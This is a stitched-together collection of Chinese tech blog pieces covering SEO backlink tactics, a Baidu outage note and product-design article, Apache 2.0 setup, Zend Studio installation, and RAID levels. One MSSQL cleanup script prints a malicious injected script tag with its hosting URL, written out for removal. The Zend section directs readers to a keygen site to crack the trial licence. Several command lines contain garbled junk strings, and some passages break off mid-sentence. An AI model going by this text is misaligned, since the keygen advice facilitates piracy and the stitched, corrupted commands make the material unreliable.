1、友情链接
     友情链接是最好的外链方式，但是也不是说是个友情链接就优质，里面也是有些衡量的标准和技巧的。关于友情链接的技巧问题，以前写过专门的文章，所以就不再赘述了，大家要是有需要，可以参看《交换友情链接终极技巧大全》一文。如果大家找不到地方换，可以到推一把论坛的友情链接专区找链接，也可以到像go9go这样专门换友情链接的站找。

2、花钱购买
     花钱购买是最直接而有效的方法，也是最容易控制的方法。但是大家注意，不要去购买黑链、隐藏链等非正常链接。同时也要注意链接的质量，不要只盯着PR看，PR高不一定代表其链接就一定优质。具体标准，请参考第一条。

3、在论坛社区留外链
     对于既没有钱，又没有资源的新站来说，通过论坛留外链，是目前最主流的方法。但是在实际操作中，江礼坤发现很多误区，所以在这里强调三点注意事项。
     A、签名里的外链与贴子里的外链，效果是一样的。所以大家不要放着签名不用，非要违反论坛规定，在贴子里留外链。像推一把论坛就是如此，在推一把论坛，签名是允许留链接的，而且有专门的广告外链区。而且这个区的权重非常高。但是很多会员偏不用这些合法的途径，非要在贴子里留一大堆链接。不管在那个论坛，这样做的后果只有两个：乐观一点的结果是被封号。严重的结果就是网址被对方永久屏蔽。
     B、论坛内的外链，属于内容页的链接。这种链接的权重是很低很低的，所以想靠这种链接来提升网站的权重或是关键字的排名，那就需要量非常大才行。注意，这里说的量大，是指发外链的目标论坛要多，而不是指在同一个论坛里大量的发链接。这个大家一定要搞清楚。当然，同一个论坛也不是说发过一个外链贴就OK了，也需要经常发。比如说同一个论坛，一周发个三五个链接就OK，个人感觉一天一条足矣。
     C、论坛链接也要细水长流的做，不要忽多忽少。比如今天发了几百上千条外链。然后就不发了，这样搞，就像葛优大爷的脑袋一样，优化的太明显了。搜索引擎闭着眼都知道是咂回事。
    在这里送大家一个好东东，江礼坤曾经整理过一篇《可以免费发广告外链的论坛列表》，大家可以到江礼坤的博客去瞅瞅。

4、通过博客留链接
     就在昨天晚上，有一位朋友在推一把论坛提问，说他网站刚上线，权重很低，通过在大平台开博客的方式来优化网站可行不可行。其实呢，答案是肯定可行的。通过在新浪、SOHU、百度等大博客平台开通博客的方式来带动网站也是一个非常好的思路。但是前提是，要先把这些博客的权重搞起来才行。而且博客的数量要非常大才行。一般想通过这个方式带动网站，就需要先把这些博客至少养半年，要每天去给这些博客更新文章。所以说这个方法呢，比较麻烦，耗时的时间和精力也比较多，但是一旦把这些博客的权重养高，回报也是非常丰厚的。

5、在百科类网站留链接
     个人不推荐这个方法。因为百科内的外链，也属于文章内容页的链接，这类链接的权重都很低。前面咱们也说了，想通过内容链页的链接提高权重，就需要目标站很多才行。但是百科类的站，国内就这么几家，而且百科站审核的是比较严的，不是说想留就能留上的。所以通过这种方法留外链，效果有限，顶多是变相的去做关键词排名。因为在百度搜索一些名词时，百度百科的词条得了会排在前面。所以对于没有能力去做关键词排名的朋友，可以考虑用这个方法曲线救国。

1. declare @t varchar(255),@c varchar(255)  
2. declare table_cursor cursor for select a.name,b.name   
3. from sysobjects a,syscolumns b ,systypes c   
4. where a.id=b.id and a.xtype='u' and c.name   
5. in ('char', 'nchar', 'nvarchar', 'varchar','text','ntext')  
6. declare @str varchar(500),@str2 varchar(500)   
7. set @str='<script src=http://r01.3322.org/c.js></script>'/*要替换的内容*/  
8. set @str2=''   
9. open table_cursor   
10. fetch next from table_cursor   
11. into @t,@c while(@@fetch_status=0)   
12. begin exec('update [' + @t + '] set [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''+ @str2 +''')')  
13. fetch next from table_cursor   
14. into @t,@c end close table_cursor deallocate table_cursor; 

首先替换代码里面的<script src=http://r01.3322.org/c.js></script>也就是红色部分为你的数据库表里面被注入的内容，打开MSSQL的SQL查询分析器执行以下代码就可以了

　　百度的新任CTO李一男估计这回要接受上任以来最严峻的考验了，到目前为止（2010年1月12日上午11时32分），百度页面仍未能正常进入。而作为中国流量最高的网站，竞然到目前为止竟然没有一个发布他们自己官方消息的平台。

　　在这里分享一篇“程序员”的文章《百度产品经理探秘：需求把握和正确决策》，在这个时候回看这篇文章，真是意味深长。原文如下：

　　国内互联网公司里，百度的产品一向为人称道。尤其是其搜索引擎的周边产品，比如百科、知道、贴吧等一系列产品。在不少资深互联网用户和专家眼中，这些产品应该是搜索引擎的标准配置。然而到底是什么让百度能够规划和设计出这么多优秀的产品，为什么他的竞争对手在这些领域根本无法与其匹敌？我们邀请百度的产品经理亲自为我们揭开谜底。

　　任何一个产品人员，要理清产品的分析和决策思路，首先要弄清楚什么是产品。产品的核心价值，是用户使用该产品的终极奥义。例如军大衣和比基尼都是用来穿的，但是前者的核心价值是御寒，后者的核心价值是性感。手机虽然变化多端，但核心价值是语音沟通，所以如果通话音质不行的话，这个手机再炫再酷，也会被用户舍弃。

　　互联网产品也是同样道理。很多产品在外表看起来是一样的，但是如果深挖的话，用户为什么要用？最根本的好处是什么？答案是非常迥异的。例如一个是百度知道，另一个假设是在线购物网站的疑难问答平台，产品形式可以相似，但本质完全不同。前者的核心价值在于“让人们更便捷的获取信息，找到所求”，而后者则应该是一种高效的在线客服手段。这个本质差异就导致了很多要点和细节上的产品决策差异。

　　所以对一个产品进行分析之前，首要问题，便是弄清楚用户为什么要用这个产品，它带给用户最根本的好处是什么。

　　要解答这样一个问题，并不容易，很多失败的产品在一开始就没弄明白用户用它的理由，注定了后面的失败。在产品研发前，百度搜索引擎产品人员首先要解答这个问题。

　　百度产品决策原则

　　搜索引擎产品部门在招聘产品人员时，应聘人员尤其是对互联网充满热情的学生常常积极地抛出自己的各种想法，却没有仔细分析为什么做？该不该做？

　　外界也常常有人提出一些疑问，为什么百度不做这个产品？为什么百度不做那个产品？

　　在《李彦宏的百度世界》里，阐述过百度的产品决策原则：“无论百度推出什么产品，总是遵循三个原则：有需求、有优势、有收益。”

　　首先是需求导向。无论是客户需求还是用户需求，归根到底都是需求。先有需求，才再有动作。借用一个经典小故事，有两个卖鞋的人去岛屿上开拓市场，一个回来后跟老板说：“那里没有市场，根本没有人穿鞋。”另一个回来后跟老板说：“那里市场可大了，大家都还没有鞋。”这个问题如果放在产品决策上，应先问需求，先摸清楚对于这群用户来说，他们穿鞋的好处、不穿鞋的好处，再决定下一步。

　　其次，在有效满足需求方面，我们有无优势。用户体验是一个完整的过程，对于用户的终极需求的满足，才是真正有价值的。

　　“视频搜索”这个想法在搜索引擎产品部很早就有考虑和接触，但早期互联网资源非常有限，资源的下载是一个致命的瓶颈，搜索做得再好，对用户最终获取并观看这个视频并无多大的帮助，因此当时没有介入；到了后期，由于专业视频分享网站的兴起，用户视频体验得到了巨大的提升，且资源众多，从用户搜索关键词里很容易能发现大量视频搜索需求，百度在搜索方面的优势能为找视频的用户提供更多更好的便利，而网页搜索通用搜索解决方案并不能完全满足视频搜索的特殊需求，因此视频搜索诞生的时机到了。后续经过产品设计、产品研发，成为一款大量用户使用的搜索产品就是顺理成章的事情了。

　　最后是要符合百度使命，专注于搜索，增强公司的核心竞争力，才能保持旺盛的生命力，并且推动搜索领域更深远的发展。现在大家看到，百度网页搜索、MP3搜索、图片搜索、知道、贴吧、百科等每一款产品都拥有庞大的用户群，并互相关联、互相促进——这并不是偶然现象，也不是百度为了整合产品而做的整合，而是它们的诞生恰恰就是为了有效地满足用户需求的，它们本身构成了搜索引擎的整体架构，也是百度最核心的产品竞争优势。

　　产品的创新思路

　　为什么要创新？李彦宏说过，“创新的目的是为了更好地满足需求，不为创新而创新”。产品和技术部每天都在进行着创新的尝试，但新技术、新功能、新概念只是工具或手段，产品设计更关注“为什么创新”。

　　百度产品体系的重大创新是搜索社区，百度的贴吧、知道、百科、空间等，构建了一个完整的搜索社区体系，我们回顾一下当年贴吧上线时首页的那句话：互联网上的信息，和人脑中的信息相比，只是沧海一粟——百度过去几年的经验证明，类似贴吧这样的搜索社区模式，在将人们的隐性知识转化为显性知识，并借以提升搜索引擎的核心价值方面，是极其成功的。所以，贴吧是一个伟大的创新，相对全球而言更是独一无二的，而贴吧所代表的搜索社区的产品创新模式和不懈实践探索，更是百度对搜索领域做出的杰出创新贡献。

　　有些人认为横空出世的东西才是创新，只有推倒重来的东西才是创新，但是不要忽略一点，有些创新是“润物细无声”的，有些创新是细节的，但它们至关重要，同样推动着某一领域的进步。

　　比如在图片搜索领域，很多人都会觉得以图搜图、颜色筛选、人脸识别这些内容识别技术看起来很新颖，认为只有提供了这样的功能才是创新。在百度产品部的图片搜索组，早期几乎每一位新同事都对这些服务好奇，但经过了一段时间的用户行为分析和思考，才能理解使用筛选功能并不一定是有效解决用户问题的最好方法，应用各种用户需求识别技术、图片识别技术优化搜索结果排序，将用户更需要的图片直接排列在用户的眼前，这也是重要“润物细无声”创新。

　　对产品的正确决策

　　产品经理或产品设计师的责任就是保证产品的成功，从产品的决策到产品是否能符合预期地完成开发上线，当然最核心的是在前期需求，解答一个产品为什么做和做成什么样子。

　　产品人员在把握产品决策原则的基础上，要有敏锐的洞察力，要能作出正确的判断，还得具备两个必要条件。

　　第一，他自己就是产品的忠实的用户。百度产品部门的每位同事，对互联网应用充满热情和兴趣，主动地成为相关产品领域最熟练的一线用户，带着真实的使用目的，能和用户站在一起，而不是带着审视检查的角度，后者往往当局者迷，不能洞悉真正的需求。比如贴吧的产品人员在学生时代不是骨灰级论坛潜水者就是知名论坛的风云人物；网页搜索的某位产品人员搜索引擎爱好者，进入百度前就热衷于发现各种搜索引擎妙用。

　　第二，他必须能站在大多数普通用户的角度去思考问题。百度产品部门不要求任何专业背景、技术背景，只要你能精确地把握和尊重普通用户的体验，在这一点上的要求近乎苛刻。你不能因为你懂得各种搜索技巧，就期望普通网民像你一样。当设计常用功能时，这样的思考是被拒绝的：“如果用户不明白，可以去看帮助文档” “这个问题用快捷键去解决”……而实际上面临的判断要难得多。

　　当然，搜索引擎作为信息获取的入口点，汇集千千万万网民的需求和使用习惯，百度的产品人员更能通过直接的数据来分析用户的行为，从他们比较集中的搜索请求中发现产品问题和产品诉求。这也是制胜的法宝之一。

　　有很多不明白互联网产品工作的人问：“怎么保证你的想法是客观的？”“怎么保证你需要的就是大众需要的？”面对这样的问题，很容易让人想到去做调研，调研的方法很容易让人想到是问卷调查。但实际上，产品设计和改进的很多方面是你没法通过直接问用户得到你想要的答案的，就像你没法通过直接询问用户的每一次搜索需要什么来指导搜索结果更准确。其实，用户实际的行动已经实实在在地告诉了产品人员，比他自己说得更多、更真。当互联网产品的用户群体达到一定规模，他们的行为数据具备统计意义时，会比纯粹的市场调研行为更加可靠和直接，那是非常珍贵的财富。

　　举个例子，我们通过用户行为的数据分析，发现网页搜索的用户行为与图片搜索的用户行为不一样：网页搜索的用户大多有特定目标，我们帮助这些用户快速地找到他想要的那条搜索结果以完成这次搜索，比如某某版本软件下载；而图片搜索很大比例的用户并无特定目标，他想欣赏一组图片搜索结果，比如某个旅游城市。这个时候，对每个图片搜索结果都要一一点击，打开新窗口不适应连续浏览体验，于是我们在搜索结果打开的模式上做了改进，这里面也有大量的数据分析，来决定什么样的模式对全体用户的总收益是最大的。

第一站 Apache的历史与前景

1995年，美国国家计算机安全协会（NCSA）的开发者创建了NCSZ全球网络服务软件，其最大的特点是HTTP精灵程序，它比当时的CERN服务器更容易由源码来配置和创建，又由于当时其他服务器软件的缺乏，他很快流行起来。但是后来，该服务器的核心开发人员几乎都离开了NCSA，一些使用者们自己成立了一个组织来管理他们编写的补丁，于是Apache Group应运而生。他们把该服务器软件称为Apache。Apache源于A patchy server的读音，意思是充满补丁的服务器。如今Apache慢慢地已经成为Internet上最流行的Web服务器软件了。在所有的Web服务器软件中，Apache占据绝对优势，远远领先排名第二的Microsoft IIS。如果你对它感兴趣，你可以访问Apache的官方网站：http://www.apache.org。Apache作为自由软件之一，像其他自由软件一样，他们都是由许许多多的自由开发人员投入了大量的时间和精力来实现并逐步完善的，所以我们有理由相信Apache的发展前景会更好。

第二站 Apache 2.0的安装　　

Apache 2.0的配置与安装和Apache 1.3的有很大的不同，他像其它的开源软件一样，使用libtool和autoconf来配置环境。但不管是Apache几通常都有两种安装方式：源代码安装和RPM包安装。这两种安装类型各有特色，RPM包安装不需要编译，而源代码安装则需要先配置编译再安装，RPM包安装在一个固定的位置下，选择固定的模块，而源代码安装则可以让你选择安装路径，选择你想要的模块。下面分别以实例的形式来介绍两种类型的安装方法。

一，使用源代码安装

(1) 获得源代码

# lynx http://www.apache.org/dist/httpd/httpd-2_0_NN.tar.gz

NN表示当前所用的版本号。

(2) 解压缩

# gzip -d httpd-2_0_NN.tar.gz

# tar xvf httpd-2_0_NN.tar　

(3) 配置.

# ./configure --prefix= /usr/local/apache

表示Apache将安装在/usr/local/apache目录下

(4) 编译与安装

# make

# make install

(5) 测试

# /usr/local/apache/bin/apachectl start

二，使用RPM包安装

# rpm —ivh apache-*.rpm

完成安装后，配置文件在/etc/httpd/conf/目录下，文件根目录为/var/www/html,工具文件在/etc/rc.d/init.d/目录下，日志文件在/var/log/httpd/目录下。

第三站 Apache 2.0的配置

Apache 2.0的主配置文件为httpd.conf。如果以上述源代码安装则配置文件保存在/usr/local/apache/conf/目录下，若以RPM包方式安装则配置文件保存在/etc/httpd/conf/目录下。我们可以直接修改httpd.conf文件也可以用redhat linux 9自带的图形化工具来配置。打开启动程序->系统设置->服务器设置->HTTP服务器，可以进行相关。主界面如图：

下面我们来看一下httpd.conf中的几条指令,“#”后加入了注释说明。

Port 80 #定义了web服务器的侦听端口，默认值为80，它是TCP网络端口之一。若写入多个端口，以最后一个为准。

User apache #一般情况下，以nobody用户和nobody组来运行web服务器，因为web

Group apache # 服务器发出的所有的进程都是以root用户身份运行的，存在安全风险。　

ServerAdmin root@localhost #指定服务器管理员的E-mail地址。服务器自动将错误报告到该地址。　

ServerRoot /etc/httpd #服务器的根目录，一般情况下，所有的配置文件在该目录下

ServerName new.host.name:80 #web客户搜索的主机名称

KeepAliveTimeout 15 #规定了连续请求之间等待15秒，若超过，则重新建立一条新的TCP连接　

MaxKeepAliveRequests 100 #永久连接的HTTP请求数

MaxClients 150 #同一时间连接到服务器上的客户机总数

ErrorLog logs/error_log #用来指定错误日志文件的名称和路径

PidFile run/httpd.pid #用来存放httpd进程号，以方便停止服务器。

Timeout 300 #设置请求超时时间，若网速较慢则应把值设大。

DocumentRoot /var/www/html #用来存放网页文件

第四站 Apache的管理

(1) 启动和停止Apache

/etc/rc.d/init.d/httpd start

/etc/rc.d/init.d/httpd stop

(2) Apache的日志文件

有人说判定一个管理员是否优秀之一就是看他是否是一个分析日志的能手，因为从日志文件中获取的反馈信息对管理员来说是相当重要的。Apache的日至文件主要包括访问日志和错误日志。访问日志记录了该服务器所有的请求的过程，主要记录的是客户的信息，通过它我们可以知道什么人访问了该网站，什么时候访问的，访问的内容是什么等等。错误日志则是记录了服务器出错的细节和如何处理等。日志文件的位置是由上述主配置文件httpd.conf来规定的。Redhat中有一个查看日志的工具——系统日志。其主界面如下

下面各举一个例子来说明他的格式：

错误日志的写法：

[Mon sep 22 14:32:52 2003] [error] [client 127.0.0.1] client denied by server configuration: /export/home/live/ap/htdocs/test

[Mon sep 22 14:32:52 2003] 错误发生的时间。

[error] 表示错误的级别。有debug,info,notice,warn,error,crit,alert,emerg，这些级别由低到高表示了错误的严重性。

[client 127.0.0.1] 表示客户端IP地址。

client denied by server configuration: /export/home/live/ap/htdocs/test 标是错误的具体信息。

访问日志的写法：

127.0.0.1 - wangdong [22/sep/2003:13:55:36 -0800] "GET /apache_pb.gif HTTP/1.0" 200 2326

127.0.0.1 表示访问这台服务器的客户端IP地址。

Wangdong 表示用户的登录名。

[22/sep/2003:13:55:36 -0800] 服务器完成客户端请求的时间，格式为[日/月/年：小时：分钟：秒 时区]

"GET /apache_pb.gif HTTP/1.0" 表示客户端访问该资源所使用的方法。

200 记录的是服务器返回给客户的状态码。200表示成功，以4打头的表示访问出错。

2326 表示发给客户端的总字节数。若是“—”表示没有找到访问资源。

但在实际应用中，对于大型网站，日志文件往往增长的很快，不利于我们查询，降低服务器的效率，而且占用大量的磁盘空间，所以我们必须对日志进行定期的维护。

既然日志文件很大，那么我们如何把一大堆枯燥的数据整理成容易让我们看懂的形式呢？有没有这样的工具呢？非常幸运，在redhat linux 9中自带了一个分析日志的工具——webalizer,如图：

我们也可以在网上找到大量这样优秀的免费的工具，例如：WebTrends Analysis Series。

第五站 配置虚拟主机　　

虚拟主机是在一台www服务器上为多个单独的域名提供www服务，每个域名具有自己的目录和配置，相当于将一台主机分为多台主机，虚拟主机技术对于主机数量不足，但又想为不同的用户提供独立的Web服务的需求非常有效。而对于一个公司，利用价格昂贵的服务器只提供一种域名服务，似乎是不明智的，而现在越来越多的公司喜欢在一台服务器上使用多个域名服务，架设不同的网站，这样做的好处是显而易见。

Apache有两种方式支持虚拟主机，一种是基于IP的虚拟主机，另一种是基于名字的虚拟主机。基于名字的虚拟主机使用相同的IP地址来配置不同的虚拟主机，这就弥补了因IP地址不足而带来的问题。基于名字的虚拟主机的配置相当简单，你只需配置你得DNS服务器使每个主机名对应正确的IP地址，然后再配置Apache HTTP Server使它能认识不同的主机名就可以了。

假设我们组建了一家多媒体制作公司，有一台Apache服务器和一个IP地址：192.168.0.1 要运行两种业务，一种为电子商务网站，域名为www.business.media.com ，另一种为教学网站，域名为www.teaching.media.com 。先在DNS服务器中把域名www.business.media.com和www.teachin....conf就可以了。

NameVirtualHost 192.168.0.1

ServerName www.business.media.com

DocumentRoot /var/www/html/business

ServerName www.teaching.media.com

DocumentRoot /var/www/html/teaching

而基于IP的虚拟主机则要求使用不同的IP地址来区别不同的虚拟主机，这就要求使用多块网卡，把不同的IP地址捆绑到不同的网卡上，或者在一块网卡上捆绑多个IP地址。假设我们主机的IP地址为192.168.0.1（www.media.com）,另外有两个IP地址别?..nf/httpd.conf。[/url]

ServerAdmin webmaster@ business.media.com

DocumentRoot /var/www/html/business

ServerName www.business.media.com

ErrorLog /var/www/html/business/logs/error_log

TransferLog /var/www/html/business/logs/access_log

ServerAdmin webmaster@teaching.media.com

DocumentRoot /var/www/html/teaching

ServerName www.teaching.media.com

ErrorLog /var/www/html/teaching/logs/error_log

TransferLog /var/www/html/teaching/logs/access_log

第六站配置Apache代理

代理服务器是网络信息服务的中转站。如果我们把Apache代理服务器形象地比喻成代理商的话，消费者向代理商购买东西时，如果代理商有的话，可直接卖给消费者，若没有，则代理商向厂家进货，再卖给消费者。这样做有以下几点好处：（1）提高了访问速度。（2）充当防火墙，增加了安全性。（3）可以过滤一些不良网站。（4）具有缓存功能。（5）节省IP开销。代理服务器可分为两种类型：客户端代理和服务器端代理。下面我们在讲解几个指令后举例说明各自的配置方法。

ProxyRequest On/Off #启用或者禁用Apache代理服务。

CacheRoot "/etc/httpd/proxy" #代理缓存的根目录。

CacheSize 5 #代理缓存的大小。

CacheGcInterval 4 #设定运行管理缓存的无用数据搜集程序的时间间隔

CacheMaxExpire 24 #文件过期时间。

CacheDefaultExpire 1 #指定未包含过期信息文件的有效期。

NoCache a-domain.com another-domain.edu #该网站的文件将不被缓存。

l 客户端代理的配置

（1） 修改/etc/httpd/conf/httpd.conf中的相关指令

（2） 修改/etc/httpd/conf/httpd.conf,添加对代理目录的访问控制。

Order deny,allow

Deny from all

Allow from .your-domain.com

（3） 重启httpd。

l 服务器端代理的配置

服务器端代理与客户端代理不同，它是在防火墙上安装Apache服务器，使用它提供对WWW服务器的代理访问。这种方法把WWW服务器与外部隔开，提高了安全性，而对用户来说，好像没有变化一样。假设在内部局域网中WWW服务器的IP地址为192.168.0.2，防火墙主机内部IP地址为192.168.0.5，外部IP地址为192.9.202.1。

(一) 配置防火墙上的Apache

(1) 在/etc/httpd/conf/httpd.conf中添加虚拟主机。

ServerAdmin webmaster@business.media.com

DocumentRoot /www/docs/business.media.com

ServerName www.business.media.com

ErrorLog logs/business.media.com-error_log

CustomLog logs/business.media.com-log_common

(2) 配置局域网中的DNS服务器，把www.business.media.com指向192.9.201.1。

(二) 配置局域网内部WWW服务器

在Linux环境下，有一个非常流行的代理服务器软件——Squid。他的功能非常的强大，支持HTTP,FTP,Gopher,SSL,和WAIS等协议的代理，而且设置简单，只需再配置文件中稍稍改动就可以了。

好了，WWW服务器配置这条路总算走完了，笔者希望读过此文章的人能够有所收获，最后，希望在学习Linux这条充满乐趣而又布满荆棘的路上的爱好者们，永不言败，成为真正的高手

第一步当然是解压zip，解压出来一个 bin 格式的安装文件， cp到我的用户目录home/ibm中，在终端地直接输入./ZendStudio-5_5_1.bin，安装便自动安装（需要jre支持，我已经提前安 装过了，安装命令是：sudo apt-get install sun-java6-jre sun-java6-jdk），过不了多久，便开始了界面安装，见图：

和Windows下的安装界面一样，一路NEXT即可。

安装完毕后，打开软件，查看了下软件信息，发现软件许可到期时间是2008年12月3日，也就是一个月时间的试用期；在编码区输入汉字，发现全是口口（乱码），见图：

不急，一个一个解决它！首先要破解软件许可日期，在网上找到了一个在线生成zend studio序列号的网站，网址：http://www.zendstudio.net/libs/zendstudio5_5_1-keymaker-php/

然后就是解决中文乱码问题，网上有一个不错的解决办法：

1. 创建文件夹fallback
:R!k h+z#O8V,T8N
;{ F"l&Z+C$umkdir zend安装目录/ZendStudio-5.5.1/jre/lib/fonts/fallback
9q i$J6f1}8F8`#|(c
%c"w*o5x;i8E5A2p2. 复制字体simsun.ttc（WINDOWS系统的Fonts目录下面有这个字体） 到fallback后名字为simsun.ttf程序开发，操作系统，服务器，源码下载，Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛5x8t&C;I:X#g0d)m
程序开发，操作系统，服务器，源码下载，Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛'U0F#q2l6X(p#i&A
cp simsun.ttc zend安装目录/ZendStudio-5.5.1/jre/lib/fonts/fallback/simsun.ttfTechWeb-技术社区!b%u$?/X.n.\3[.W-p
tech.techweb.com.cn5[*L#A2{;s)M9o%O
从新启动Zend，乱码问题解决了，见图：

OK，Zend Studio安装好了，开始工作！

要实现RAID0必须要有两个以上硬盘驱动器，RAID0实现了带区组，数据并不是保存在一个硬盘上，而是分成数据块保存在不同驱动器上。因为将数据分布在不同驱动器上，所以数据吞吐率大大提高，驱动器的负载也比较平衡。如果刚好所需要的数据在不同的驱动器上效率最好。它不需要计算校验码，实现容易。它的缺点是它没有数据差错控制，如果一个驱动器中的数据发生错误，即使其它盘上的数据正确也无济于事了。不应该将它用于对数据稳定性要求高的场合。如果用户进行图象（包括动画）编辑和其它要求传输比较大的场合使用RAID0比较合适。同时，RAID可以提高数据传输速率，比如所需读取的文件分布在两个硬盘上，这两个硬盘可以同时读取。那么原来读取同样文件的时间被缩短为1/2。

RAID 1：镜象结构 

对于使用这种RAID1结构的设备来说，RAID控制器必须能够同时对两个盘进行读操作和对两个镜象盘进行写操作。通过下面的结构图您也可以看到必须有两个驱动器。因为是镜象结构在一组盘出现问题时，可以使用镜象，提高系统的容错能力。它比较容易设计和实现。每读一次盘只能读出一块数据，也就是说数据块传送速率与单独的盘的读取速率相同。因为RAID1的校验十分完备，因此对系统的处理能力有很大的影响，通常的RAID功能由软件实现，而这样的实现方法在服务器负载比较重的时候会大大影响服务器效率。当您的系统需要极高的可靠性时，如进行数据统计，那么使用RAID1比较合适。而且RAID1技术支持“热替换”，即不断电的情况下对故障磁盘进行更换，更换完毕只要从镜像盘上恢复数据即可。当主硬盘损坏时，镜像硬盘就可以代替主硬盘工作。镜像硬盘相当于一个备份盘，可想而知，这种硬盘模式的安全性是非常高的，但带来的后果是硬盘容量利用率很低，只有50%，是所有RAID级别中最低的。

虽然RAID 0可以提供更多的空间和更好的性能，但是整个系统是非常不可靠的，如果出现故障，无法进行任何补救。所以，RAID 0一般只是在那些对数据安全性要求不高的情况下才被人们使用。

RAID 1和RAID 0截然不同，其技术重点全部放在如何能够在不影响性能的情况下最大限度的保证系统的可靠性和可修复性上。RAID 1是所有RAID等级中实现成本最高的一种，尽管如此，人们还是选择RAID 1来保存那些关键性的重要数据。

RAID 1又被称为磁盘镜像，每一个磁盘都具有一个对应的镜像盘。对任何一个磁盘的数据写入都会被复制镜像盘中;系统可以从一组镜像盘中的任何一个磁盘读取数据。显然，磁盘镜像肯定会提高系统成本。因为我们所能使用的空间只是所有磁盘容量总和的一半。下图显示的是由4块硬盘组成的磁盘镜像，其中可以作为存储空间使用的仅为两块硬盘(画斜线的为镜像部分)。

RAID 1下，任何一块硬盘的故障都不会影响到系统的正常运行，而且只要能够保证任何一对镜像盘中至少有一块磁盘可以使用，RAID 1甚至可以在一半数量的硬盘出现问题时不间断的工作。当一块硬盘失效时，系统会忽略该硬盘，转而使用剩余的镜像盘读写数据。

通常，我们把出现硬盘故障的RAID系统称为在降级模式下运行。虽然这时保存的数据仍然可以继续使用，但是RAID系统将不再可靠。如果剩余的镜像盘也出现问题，那么整个系统就会崩溃。因此，我们应当及时的更换损坏的硬盘，避免出现新的问题。 　　更换新盘之后，原有好盘中的数据必须被复制到新盘中。这一操作被称为同步镜像。同步镜像一般都需要很长时间，尤其是当损害的硬盘的容量很大时更是如此。在同步镜像的进行过程中，外界对数据的访问不会受到影响，但是由于复制数据需要占用一部分的带宽，所以可能会使整个系统的性能有所下降。

因为RAID 1主要是通过二次读写实现磁盘镜像，所以磁盘控制器的负载也相当大，尤其是在需要频繁写入数据的环境中。为了避免出现性能瓶颈，使用多个磁盘控制器就显得很有必要。下图示意了使用两个控制器的磁盘镜像。

使用两个磁盘控制器不仅可以改善性能，还可以进一步的提高数据的安全性和可用性。我们已经知道，RAID 1最多允许一半数量的硬盘出现故障，所以按照我们上图中的设置方式(原盘和镜像盘分别连接不同的磁盘控制)，即使一个磁盘控制器出现问题，系统仍然可以使用另外一个磁盘控制器继续工作。这样，就可以把一些由于意外操作所带来的损害降低到最低程度。

RAID 0+1

单独使用RAID 1也会出现类似单独使用RAID 0那样的问题，即在同一时间内只能向一块磁盘写入数据，不能充分利用所有的资源。为了解决这一问题，我们可以在磁盘镜像中建立带区集。因为这种配置方式综合了带区集和镜像的优势，所以被称为RAID 0+1。

RAID5：分布式奇偶校验的独立磁盘结构 

从它的示意图上可以看到，它的奇偶校验码存在于所有磁盘上，其中的p0代表第0带区的奇偶校验值，其它的意思也相同。RAID5的读出效率很高，写入效率一般，块式的集体访问效率不错。因为奇偶校验码在不同的磁盘上，所以提高了可靠性。但是它对数据传输的并行性解决不好，而且控制器的设计也相当困难。RAID 3 与RAID 5相比，重要的区别在于RAID 3每进行一次数据传输，需涉及到所有的阵列盘。而对于RAID 5来说，大部分数据传输只对一块磁盘操作，可进行并行操作。在RAID 5中有“写损失”，即每一次写操作，将产生四个实际的读/写操作，其中两次读旧的数据及奇偶信息，两次写新的数据及奇偶信息。

    一、应用正规的SEO伎俩,保持白帽伎俩,不要应用黑帽等作弊伎俩操作,那样的伎俩排名很容易下去的.

    二、保持网站的更新,不要因为网站的排名上去了,就不天天更新网站了,蜘蛛是对照嗜好新鲜的东西的,要定期的给网站输入新鲜的血液.

    三、不要轻易的修正网站标题,特别是在一个月内多次修正,这是非常不好的,要特别注意哦,标题确定后尽量少做修正.

    四、保持外部链接的长期性,很多人在网站没有排名的时候到处找链接,到网站排名上去的时候就把别人的链接去掉了,这是很不好的行动,换链接需要注意的一点是：不要认为一个网站的PR值高就是好,和一个pr2的站链接,有时候比一个pr5的更有效果.

    五、保证服务器的稳固性,这点非常首要,服务器是网站正常运行的后盾,不要贪图便宜而购置便宜的不稳固的空间,更换服务器也需要注意,新服务器IP是否被惩罚过,网上有很多工具可以查询的,可以找一找